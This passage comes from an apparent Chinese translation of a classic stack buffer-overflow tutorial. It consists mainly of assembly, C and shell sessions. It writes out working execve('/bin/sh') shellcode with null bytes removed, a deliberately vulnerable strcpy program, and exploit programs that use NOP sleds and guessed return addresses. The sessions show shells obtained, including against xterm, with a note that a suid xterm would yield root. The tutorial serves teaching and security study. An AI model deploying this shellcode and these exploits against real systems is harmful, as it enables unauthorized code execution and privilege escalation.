CALL指令只是调用我们上述的代码就可以了. 假定J代&lt;br /&gt;表JMP指令, C代表CALL指令, s代表字串, 执行过程如下所示:&lt;/p&gt;&lt;p class="mobile-post"&gt;内存低     DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存高&lt;br /&gt;地址       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     地址&lt;br /&gt;           buffer                sfp   ret   a     b     c&lt;/p&gt;&lt;p class="mobile-post"&gt;&amp;lt;------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]&lt;br /&gt;           ^|^             ^|            |&lt;br /&gt;           |||_____________||____________| (1)&lt;br /&gt;       (2)  ||_____________||&lt;br /&gt;             |______________| (3)&lt;/p&gt;&lt;p class="mobile-post"&gt;堆栈顶部                                                         堆栈底部&lt;/p&gt;&lt;p class="mobile-post"&gt;    运用上述的修正方法, 并使用相对索引寻址, 我们代码中每条指令的字节数目如下:&lt;br /&gt;    &lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;        jmp    offset-to-call           # 2 bytes&lt;br /&gt;        popl   %esi                     # 1 byte&lt;br /&gt;        movl   %esi,array-offset(%esi)  # 3 bytes&lt;br /&gt;        movb   $0x0,nullbyteoffset(%esi)# 4 bytes&lt;br /&gt;        movl   $0x0,null-offset(%esi)   # 7 bytes&lt;br /&gt;        movl   $0xb,%eax                # 5 bytes&lt;br /&gt;        movl   %esi,%ebx                # 2 bytes&lt;br /&gt;        leal   array-offset(%esi),%ecx  # 3 bytes&lt;br /&gt;        leal   null-offset(%esi),%edx   # 3 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        movl   $0x1, %eax               # 5 bytes&lt;br /&gt;        movl   $0x0, %ebx               # 5 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        call   offset-to-popl           # 5 bytes&lt;br /&gt;        /bin/sh string goes here.&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;  &lt;br /&gt;    通过计算从jmp到call, 从call到popl, 从字串地址到数组, 从字串地址到空长字的&lt;br /&gt;偏量, 我们得到:&lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;        jmp    0x26                     # 2 bytes&lt;br /&gt;        popl   %esi                     # 1 byte&lt;br /&gt;        movl   %esi,0x8(%esi)           # 3 bytes&lt;br /&gt;        movb   $0x0,0x7(%esi)           # 4 bytes&lt;br /&gt;        movl   $0x0,0xc(%esi)           # 7 bytes&lt;br /&gt;        movl   $0xb,%eax                # 5 bytes&lt;br /&gt;        movl   %esi,%ebx                # 2 bytes&lt;br /&gt;        leal   0x8(%esi),%ecx           # 3 bytes&lt;br /&gt;        leal   0xc(%esi),%edx           # 3 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        movl   $0x1, %eax               # 5 bytes&lt;br /&gt;        movl   $0x0, %ebx               # 5 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        call   -0x2b                    # 5 bytes&lt;br /&gt;        .string \"/bin/sh\"             # 8 bytes&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;    &lt;br /&gt;    这看起来很不错了. 为了确保代码能够正常工作必须编译并执行. 但是还有一个问题.&lt;br /&gt;我们的代码修改了自身, 可是多数操作系统将代码页标记为只读. 为了绕过这个限制我们&lt;br /&gt;必须把要执行的代码放到堆栈或数据段中, 并且把控制转到那里. 为此应该把代码放到数&lt;br /&gt;据段中的全局数组中. 我们首先需要用16进制表示的二进制代码. 先编译, 然后再用gdb&lt;br /&gt;来取得二进制代码.&lt;/p&gt;&lt;p class="mobile-post"&gt;shellcodeasm.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;void main() {&lt;br /&gt;__asm__("&lt;br /&gt;        jmp    0x2a                     # 3 bytes&lt;br /&gt;        popl   %esi                     # 1 byte&lt;br /&gt;        movl   %esi,0x8(%esi)           # 3 bytes&lt;br /&gt;        movb   $0x0,0x7(%esi)           # 4 bytes&lt;br /&gt;        movl   $0x0,0xc(%esi)           # 7 bytes&lt;br /&gt;        movl   $0xb,%eax                # 5 bytes&lt;br /&gt;        movl   %esi,%ebx                # 2 bytes&lt;br /&gt;        leal   0x8(%esi),%ecx           # 3 bytes&lt;br /&gt;        leal   0xc(%esi),%edx           # 3 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        movl   $0x1, %eax               # 5 bytes&lt;br /&gt;        movl   $0x0, %ebx               # 5 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        call   -0x2f                    # 5 bytes&lt;br /&gt;        .string \"/bin/sh\"             # 8 bytes&lt;br /&gt;");&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c&lt;br /&gt;[aleph1]$ gdb shellcodeasm&lt;br /&gt;GDB is free software and you are welcome to distribute copies of it&lt;br /&gt; under certain conditions; type "show copying" to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB; type "show warranty" for details.&lt;br /&gt;GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...&lt;br /&gt;(gdb) disassemble main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x8000130 &amp;lt;main&amp;gt;:       pushl  %ebp&lt;br /&gt;0x8000131 &amp;lt;main+1&amp;gt;:     movl   %esp,%ebp&lt;br /&gt;0x8000133 &amp;lt;main+3&amp;gt;:     jmp    0x800015f &amp;lt;main+47&amp;gt;&lt;br /&gt;0x8000135 &amp;lt;main+5&amp;gt;:     popl   %esi&lt;br /&gt;0x8000136 &amp;lt;main+6&amp;gt;:     movl   %esi,0x8(%esi)&lt;br /&gt;0x8000139 &amp;lt;main+9&amp;gt;:     movb   $0x0,0x7(%esi)&lt;br /&gt;0x800013d &amp;lt;main+13&amp;gt;:    movl   $0x0,0xc(%esi)&lt;br /&gt;0x8000144 &amp;lt;main+20&amp;gt;:    movl   $0xb,%eax&lt;br /&gt;0x8000149 &amp;lt;main+25&amp;gt;:    movl   %esi,%ebx&lt;br /&gt;0x800014b &amp;lt;main+27&amp;gt;:    leal   0x8(%esi),%ecx&lt;br /&gt;0x800014e &amp;lt;main+30&amp;gt;:    leal   0xc(%esi),%edx&lt;br /&gt;0x8000151 &amp;lt;main+33&amp;gt;:    int    $0x80&lt;br /&gt;0x8000153 &amp;lt;main+35&amp;gt;:    movl   $0x1,%eax&lt;br /&gt;0x8000158 &amp;lt;main+40&amp;gt;:    movl   $0x0,%ebx&lt;br /&gt;0x800015d &amp;lt;main+45&amp;gt;:    int    $0x80&lt;br /&gt;0x800015f &amp;lt;main+47&amp;gt;:    call   0x8000135 &amp;lt;main+5&amp;gt;&lt;br /&gt;0x8000164 &amp;lt;main+52&amp;gt;:    das&lt;br /&gt;0x8000165 &amp;lt;main+53&amp;gt;:    boundl 0x6e(%ecx),%ebp&lt;br /&gt;0x8000168 &amp;lt;main+56&amp;gt;:    das&lt;br /&gt;0x8000169 &amp;lt;main+57&amp;gt;:    jae    0x80001d3 &amp;lt;__new_exitfn+55&amp;gt;&lt;br /&gt;0x800016b &amp;lt;main+59&amp;gt;:    addb   %cl,0x55c35dec(%ecx)&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) x/bx main+3&lt;br /&gt;0x8000133 &amp;lt;main+3&amp;gt;:     0xeb&lt;br /&gt;(gdb)&lt;br /&gt;0x8000134 &amp;lt;main+4&amp;gt;:     0x2a&lt;br /&gt;(gdb)&lt;br /&gt;. &lt;br /&gt;. &lt;br /&gt;. &lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;testsc.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;char shellcode[] =&lt;br /&gt;        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"&lt;br /&gt;        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"&lt;br /&gt;        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"&lt;br /&gt;        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";&lt;/p&gt;&lt;p class="mobile-post"&gt;void main() {&lt;br /&gt;   int *ret;&lt;/p&gt;&lt;p class="mobile-post"&gt;   ret = (int *)&amp;amp;ret + 2;&lt;br /&gt;   (*ret) = (int)shellcode;&lt;/p&gt;&lt;p class="mobile-post"&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ gcc -o testsc testsc.c&lt;br /&gt;[aleph1]$ ./testsc&lt;br /&gt;$ exit&lt;br /&gt;[aleph1]$&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    成了! 但是这里还有一个障碍, 在多数情况下, 我们都是试图使一个字符缓冲区溢出.&lt;br /&gt;那么在我们shellcode中的任何NULL字节都会被认为是字符串的结尾, 复制工作就到此为&lt;/p&gt;&lt;p class="mobile-post"&gt;止了. 对于我们的破解工作来说, 在shellcode里不能有NULL字节. 下面来消除这些字节,&lt;br /&gt;同时把代码精简一点.&lt;/p&gt;&lt;p class="mobile-post"&gt;           Problem instruction:                 Substitute with:&lt;br /&gt;           --------------------------------------------------------&lt;br /&gt;           movb   $0x0,0x7(%esi)                xorl   %eax,%eax&lt;br /&gt;           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)&lt;br /&gt;                                                movl   %eax,0xc(%esi)&lt;br /&gt;           --------------------------------------------------------&lt;br /&gt;           movl   $0xb,%eax                     movb   $0xb,%al&lt;br /&gt;           --------------------------------------------------------&lt;br /&gt;           movl   $0x1, %eax                    xorl   %ebx,%ebx&lt;br /&gt;           movl   $0x0, %ebx                    movl   %ebx,%eax&lt;br /&gt;                                                inc    %eax&lt;br /&gt;           --------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;   Our improved code:&lt;/p&gt;&lt;p class="mobile-post"&gt;shellcodeasm2.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;void main() {&lt;br /&gt;__asm__("&lt;br /&gt;        jmp    0x1f                     # 2 bytes&lt;br /&gt;        popl   %esi                     # 1 byte&lt;br /&gt;        movl   %esi,0x8(%esi)           # 3 bytes&lt;br /&gt;        xorl   %eax,%eax                # 2 bytes&lt;br /&gt;        movb   %eax,0x7(%esi)           # 3 bytes&lt;br /&gt;        movl   %eax,0xc(%esi)           # 3 bytes&lt;br /&gt;        movb   $0xb,%al                 # 2 bytes&lt;br /&gt;        movl   %esi,%ebx                # 2 bytes&lt;br /&gt;        leal   0x8(%esi),%ecx           # 3 bytes&lt;br /&gt;        leal   0xc(%esi),%edx           # 3 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        xorl   %ebx,%ebx                # 2 bytes&lt;br /&gt;        movl   %ebx,%eax                # 2 bytes&lt;br /&gt;        inc    %eax                     # 1 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        call   -0x24                    # 5 bytes&lt;br /&gt;        .string \"/bin/sh\"             # 8 bytes&lt;br /&gt;                                        # 46 bytes total&lt;br /&gt;");&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;   And our new test program:&lt;/p&gt;&lt;p class="mobile-post"&gt;testsc2.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;char shellcode[] =&lt;br /&gt;        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"&lt;br /&gt;        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"&lt;br /&gt;        "\x80\xe8\xdc\xff\xff\xff/bin/sh";&lt;/p&gt;&lt;p class="mobile-post"&gt;void main() {&lt;br /&gt;   int *ret;&lt;/p&gt;&lt;p class="mobile-post"&gt;   ret = (int *)&amp;amp;ret + 2;&lt;br /&gt;   (*ret) = (int)shellcode;&lt;/p&gt;&lt;p class="mobile-post"&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ gcc -o testsc2 testsc2.c&lt;br /&gt;[aleph1]$ ./testsc2&lt;br /&gt;$ exit&lt;br /&gt;[aleph1]$&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;                                   破解实战  &lt;br /&gt;                                  ~~~~~~~~~~&lt;br /&gt;                                  &lt;br /&gt;    现在把手头的工具都准备好. 我们已经有了shellcode. 我们知道shellcode必须是被&lt;br /&gt;溢出的字符串的一部分. 我们知道必须把返回地址指回缓冲区. 下面的例子说明了这几点:&lt;/p&gt;&lt;p class="mobile-post"&gt;overflow1.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;char shellcode[] =&lt;br /&gt;        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"&lt;br /&gt;        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"&lt;br /&gt;        "\x80\xe8\xdc\xff\xff\xff/bin/sh";&lt;/p&gt;&lt;p class="mobile-post"&gt;char large_string[128];&lt;/p&gt;&lt;p class="mobile-post"&gt;void main() {&lt;br /&gt;  char buffer[96];&lt;br /&gt;  int i;&lt;br /&gt;  long *long_ptr = (long *) large_string;&lt;/p&gt;&lt;p class="mobile-post"&gt;  for (i = 0; i &amp;lt; 32; i++)&lt;br /&gt;    *(long_ptr + i) = (int) buffer;&lt;/p&gt;&lt;p class="mobile-post"&gt;  for (i = 0; i &amp;lt; strlen(shellcode); i++)&lt;br /&gt;    large_string[i] = shellcode[i];&lt;/p&gt;&lt;p class="mobile-post"&gt;  strcpy(buffer,large_string);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ gcc -o exploit1 exploit1.c&lt;br /&gt;[aleph1]$ ./exploit1&lt;br /&gt;$ exit&lt;br /&gt;exit&lt;br /&gt;[aleph1]$&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    如上所示, 我们用buffer[]的地址来填充large_string[]数组, shellcode就将会在&lt;br /&gt;buffer[]之中. 然后我们把shellcode复制到large_string字串的开头. strcpy()不做任&lt;br /&gt;何边界检查就会将large_string复制到buffer中去, 并且覆盖返回地址. 现在的返回地址&lt;br /&gt;就是我们shellcode的起始位置. 一旦执行到main函数的尾部, 在试图返回时就会跳到我&lt;br /&gt;们的shellcode中, 得到一个shell.&lt;/p&gt;&lt;p class="mobile-post"&gt;    我们所面临的问题是: 当试图使另外一个程序的缓冲区溢出的时候, 如何确定这个&lt;br /&gt;缓冲区(会有我们的shellcode)的地址在哪? 答案是: 对于每一个程序, 堆栈的起始地址&lt;br /&gt;都是相同的. 大多数程序不会一次向堆栈中压入成百上千字节的数据. 因此知道了堆栈&lt;br /&gt;的开始地址, 我们可以试着猜出这个要使其溢出的缓冲区在哪. 下面的小程序会打印出&lt;br /&gt;它的堆栈指针: &lt;/p&gt;&lt;p class="mobile-post"&gt;sp.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;unsigned long get_sp(void) {&lt;br /&gt;   __asm__("movl %esp,%eax");&lt;br /&gt;}&lt;br /&gt;void main() {&lt;br /&gt;  printf("0x%x\n", get_sp());&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ ./sp&lt;br /&gt;0x8000470&lt;br /&gt;[aleph1]$&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    假定我们要使其溢出的程序如下:&lt;br /&gt;    &lt;br /&gt;vulnerable.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;void main(int argc, char *argv[]) {&lt;br /&gt;  char buffer[512];&lt;/p&gt;&lt;p class="mobile-post"&gt;  if (argc &amp;gt; 1)&lt;br /&gt;    strcpy(buffer,argv[1]);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    我们创建一个程序可以接受两个参数, 一是缓冲区大小, 二是从其自身堆栈指针算起&lt;br /&gt;的偏移量(这个堆栈指针指明了我们想要使其溢出的缓冲区所在的位置). 我们把溢出字符&lt;br /&gt;串放到一个环境变量中, 这样就容易操作一些. &lt;/p&gt;&lt;p class="mobile-post"&gt;exploit2.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/p&gt;&lt;p class="mobile-post"&gt;#define DEFAULT_OFFSET                    0&lt;br /&gt;#define DEFAULT_BUFFER_SIZE             512&lt;/p&gt;&lt;p class="mobile-post"&gt;char shellcode[] =&lt;br /&gt;  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"&lt;br /&gt;  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"&lt;br /&gt;  "\x80\xe8\xdc\xff\xff\xff/bin/sh";&lt;/p&gt;&lt;p class="mobile-post"&gt;unsigned long get_sp(void) {&lt;br /&gt;   __asm__("movl %esp,%eax");&lt;br /&gt;}&lt;/p&gt;&lt;p class="mobile-post"&gt;void main(int argc, char *argv[]) {&lt;br /&gt;  char *buff, *ptr;&lt;br /&gt;  long *addr_ptr, addr;&lt;br /&gt;  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;&lt;br /&gt;  int i;&lt;/p&gt;&lt;p class="mobile-post"&gt;  if (argc &amp;gt; 1) bsize  = atoi(argv[1]);&lt;br /&gt;  if (argc &amp;gt; 2) offset = atoi(argv[2]);&lt;/p&gt;&lt;p class="mobile-post"&gt;  if (!(buff = malloc(bsize))) {&lt;br /&gt;    printf("Can't allocate memory.\n");&lt;br /&gt;    exit(0);&lt;br /&gt;  }&lt;/p&gt;&lt;p class="mobile-post"&gt;  addr = get_sp() - offset;&lt;br /&gt;  printf("Using address: 0x%x\n", addr);&lt;/p&gt;&lt;p class="mobile-post"&gt;  ptr = buff;&lt;/p&gt;&lt;p class="mobile-post"&gt;  addr_ptr = (long *) ptr;&lt;br /&gt;  for (i = 0; i &amp;lt; bsize; i+=4)&lt;br /&gt;    *(addr_ptr++) = addr;&lt;/p&gt;&lt;p class="mobile-post"&gt;  ptr += 4;&lt;br /&gt;  for (i = 0; i &amp;lt; strlen(shellcode); i++)&lt;br /&gt;    *(ptr++) = shellcode[i];&lt;/p&gt;&lt;p class="mobile-post"&gt;  buff[bsize - 1] = '\0';&lt;/p&gt;&lt;p class="mobile-post"&gt;  memcpy(buff,"EGG=",4);&lt;br /&gt;  putenv(buff);&lt;br /&gt;  system("/bin/bash");&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    现在我们尝试猜测缓冲区的大小和偏移量:&lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ ./exploit2 500&lt;br /&gt;Using address: 0xbffffdb4&lt;br /&gt;[aleph1]$ ./vulnerable $EGG&lt;br /&gt;[aleph1]$ exit&lt;br /&gt;[aleph1]$ ./exploit2 600&lt;br /&gt;Using address: 0xbffffdb4&lt;br /&gt;[aleph1]$ ./vulnerable $EGG&lt;br /&gt;Illegal instruction&lt;br /&gt;[aleph1]$ exit&lt;br /&gt;[aleph1]$ ./exploit2 600 100&lt;br /&gt;Using address: 0xbffffd4c&lt;br /&gt;[aleph1]$ ./vulnerable $EGG&lt;br /&gt;Segmentation fault&lt;br /&gt;[aleph1]$ exit&lt;br /&gt;[aleph1]$ ./exploit2 600 200&lt;br /&gt;Using address: 0xbffffce8&lt;br /&gt;[aleph1]$ ./vulnerable $EGG&lt;br /&gt;Segmentation fault&lt;br /&gt;[aleph1]$ exit&lt;br /&gt;. &lt;br /&gt;. &lt;br /&gt;. &lt;br /&gt;[aleph1]$ ./exploit2 600 1564&lt;br /&gt;Using address: 0xbffff794&lt;br /&gt;[aleph1]$ ./vulnerable $EGG&lt;br /&gt;$&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;    &lt;br /&gt;    正如我们所看到的, 这并不是一个很有效率的过程. 即使知道了堆栈的起始地址, 尝&lt;br /&gt;试猜测偏移量也几乎是不可能的. 我们很可能要试验几百次, 没准几千次也说不定. 问题&lt;br /&gt;的关键在于我们必须*确切*地知道我们代码开始的地址. 如果偏差哪怕只有一个字节我们&lt;br /&gt;也只能得到段错误或非法指令错误. 提高成功率的一种方法是在我们溢出缓冲区的前段填&lt;br /&gt;充NOP指令. 几乎所有的处理器都有NOP指令执行空操作. 常用于延时目的. 我们利用它来&lt;br /&gt;填充溢出缓冲区的前半段. 然后把shellcode放到中段, 之后是返回地址. 如果我们足够&lt;br /&gt;幸运的话, 返回地址指到NOPs字串的任何位置, NOP指令就会执行, 直到碰到我们的&lt;br /&gt;shellcode. 在Intel体系结构中NOP指令只有一个字节长, 翻译为机器码是0x90. 假定堆栈&lt;br /&gt;的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆栈看起来是这样:&lt;/p&gt;&lt;p class="mobile-post"&gt;内存低     DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存高&lt;br /&gt;地址       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     地址&lt;br /&gt;           buffer                sfp   ret   a     b     c&lt;/p&gt;&lt;p class="mobile-post"&gt;&amp;lt;------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]&lt;br /&gt;                 ^                     |&lt;br /&gt;                 |_____________________|&lt;/p&gt;&lt;p class="mobile-post"&gt;堆栈顶端                                                          堆栈底部&lt;/p&gt;&lt;p class="mobile-post"&gt;    新的破解程序如下:&lt;br /&gt;    &lt;/p&gt;&lt;p class="mobile-post"&gt;exploit3.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/p&gt;&lt;p class="mobile-post"&gt;#define DEFAULT_OFFSET                    0&lt;br /&gt;#define DEFAULT_BUFFER_SIZE             512&lt;br /&gt;#define NOP                            0x90&lt;/p&gt;&lt;p class="mobile-post"&gt;char shellcode[] =&lt;br /&gt;  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"&lt;br /&gt;  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"&lt;br /&gt;  "\x80\xe8\xdc\xff\xff\xff/bin/sh";&lt;/p&gt;&lt;p class="mobile-post"&gt;unsigned long get_sp(void) {&lt;br /&gt;   __asm__("movl %esp,%eax");&lt;br /&gt;}&lt;/p&gt;&lt;p class="mobile-post"&gt;void main(int argc, char *argv[]) {&lt;br /&gt;  char *buff, *ptr;&lt;br /&gt;  long *addr_ptr, addr;&lt;br /&gt;  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;&lt;br /&gt;  int i;&lt;/p&gt;&lt;p class="mobile-post"&gt;  if (argc &amp;gt; 1) bsize  = atoi(argv[1]);&lt;br /&gt;  if (argc &amp;gt; 2) offset = atoi(argv[2]);&lt;/p&gt;&lt;p class="mobile-post"&gt;  if (!(buff = malloc(bsize))) {&lt;br /&gt;    printf("Can't allocate memory.\n");&lt;br /&gt;    exit(0);&lt;br /&gt;  }&lt;/p&gt;&lt;p class="mobile-post"&gt;  addr = get_sp() - offset;&lt;br /&gt;  printf("Using address: 0x%x\n", addr);&lt;/p&gt;&lt;p class="mobile-post"&gt;  ptr = buff;&lt;br /&gt;  addr_ptr = (long *) ptr;&lt;br /&gt;  for (i = 0; i &amp;lt; bsize; i+=4)&lt;br /&gt;    *(addr_ptr++) = addr;&lt;/p&gt;&lt;p class="mobile-post"&gt;  for (i = 0; i &amp;lt; bsize/2; i++)&lt;br /&gt;    buff[i] = NOP;&lt;/p&gt;&lt;p class="mobile-post"&gt;  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));&lt;br /&gt;  for (i = 0; i &amp;lt; strlen(shellcode); i++)&lt;br /&gt;    *(ptr++) = shellcode[i];&lt;/p&gt;&lt;p class="mobile-post"&gt;  buff[bsize - 1] = '\0';&lt;/p&gt;&lt;p class="mobile-post"&gt;  memcpy(buff,"EGG=",4);&lt;br /&gt;  putenv(buff);&lt;br /&gt;  system("/bin/bash");&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    我们所使用的缓冲区大小最好比要使其溢出的缓冲区大100字节左右. 我们在要使其&lt;br /&gt;溢出的缓冲区尾部放置shellcode, 为NOP指令留下足够的空间, 仍然使用我们推测的地址&lt;br /&gt;来覆盖返回地址. 这里我们要使其溢出的缓冲区大小是512字节, 所以我们使用612字节.&lt;br /&gt;现在使用新的破解程序来使我们的测试程序溢出:&lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ ./exploit3 612&lt;br /&gt;Using address: 0xbffffdb4&lt;br /&gt;[aleph1]$ ./vulnerable $EGG&lt;br /&gt;$&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt;    哇!一击中的!这个改进成千倍地提高了我们的命中率. 下面在真实的环境中尝试一&lt;br /&gt;下缓冲区溢出. 在Xt库上运用我们所讲述的方法. 在例子中, 我们使用xterm(实际上所有&lt;br /&gt;连接Xt库的程序都有漏洞). 计算机上要运行X Server并且允许本地的连接. 还要相应设&lt;br /&gt;置DISPLAY变量.&lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ export DISPLAY=:0.0&lt;br /&gt;[aleph1]$ ./exploit3 1124&lt;br /&gt;Using address: 0xbffffdb4&lt;br /&gt;[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG&lt;br /&gt;Warning: Color name "?1?F&lt;br /&gt;                           °&lt;/p&gt;&lt;p class="mobile-post"&gt;                            ?&lt;/p&gt;&lt;p class="mobile-post"&gt;?へ@よ?in/shいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい&lt;br /&gt;いいいいいいいいいいいいいいいいいいいいいいいいい¤&lt;/p&gt;&lt;p class="mobile-post"&gt;(此处截短多行输出)&lt;/p&gt;&lt;p class="mobile-post"&gt;いいいいいいいいいいい?いいいい&lt;br /&gt;^C&lt;br /&gt;[aleph1]$ exit&lt;br /&gt;[aleph1]$ ./exploit3 2148 100&lt;br /&gt;Using address: 0xbffffd48&lt;br /&gt;[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG&lt;br /&gt;Warning: Color name "?1?F&lt;br /&gt;                           °&lt;/p&gt;&lt;p class="mobile-post"&gt;                            ?&lt;/p&gt;&lt;p class="mobile-post"&gt;?へ@よ?in/sh??????????????????????????????????&lt;br /&gt;?????????????????????????¤&lt;/p&gt;&lt;p class="mobile-post"&gt;(此处截短多行输出)&lt;/p&gt;&lt;p class="mobile-post"&gt;?????????????arning: some arguments in previous message were lost&lt;br /&gt;Illegal instruction&lt;br /&gt;[aleph1]$ exit&lt;br /&gt;. &lt;br /&gt;. &lt;br /&gt;. &lt;br /&gt;[aleph1]$ ./exploit4 2148 600&lt;br /&gt;Using address: 0xbffffb54&lt;br /&gt;[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG&lt;br /&gt;Warning: Color name "?1?F&lt;br /&gt;                           °&lt;/p&gt;&lt;p class="mobile-post"&gt;                            ?&lt;/p&gt;&lt;p class="mobile-post"&gt;?へ@よ?in/sh??????????????????????????????????&lt;br /&gt;??????????????????????????&lt;/p&gt;&lt;p class="mobile-post"&gt;(此处截短多行输出)&lt;/p&gt;&lt;p class="mobile-post"&gt;?????????????arning: some arguments in previous message were lost&lt;br /&gt;bash$&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;   尤里卡! 仅仅几次尝试我们就成功了!如果xterm是带suid root安装的, 我们就已经&lt;br /&gt;得到了一个root shell了. &lt;/p&gt;&lt;p class="mobile-post"&gt;  &lt;br /&gt;                                小缓冲区的溢出&lt;br /&gt;                               ~~~~~~~~~~~~~~~~&lt;br /&gt;                           &lt;br /&gt;    有时候想使其溢出的缓冲区太小了, 以至于shellcode都放不进去, 这样返回地址就&lt;br /&gt;会被指令所覆盖, 而不是我们所推测的地址, 或者shellcode是放进去了, 但是没法填充&lt;br /&gt;足够多的NOP指令, 这样推测地址的成功率就很低了. 要从这样的程序(小缓冲区)里得到&lt;br /&gt;一个shell, 我们必须得想其他办法. 下面介绍的这种方法只在能够访问程序的环境变量&lt;br /&gt;时有效.&lt;/p&gt;&lt;p class="mobile-post"&gt;    我们所做的就是把shellcode放到环境变量中去, 然后用这个变量在内存中的地址来&lt;br /&gt;使缓冲区溢出. 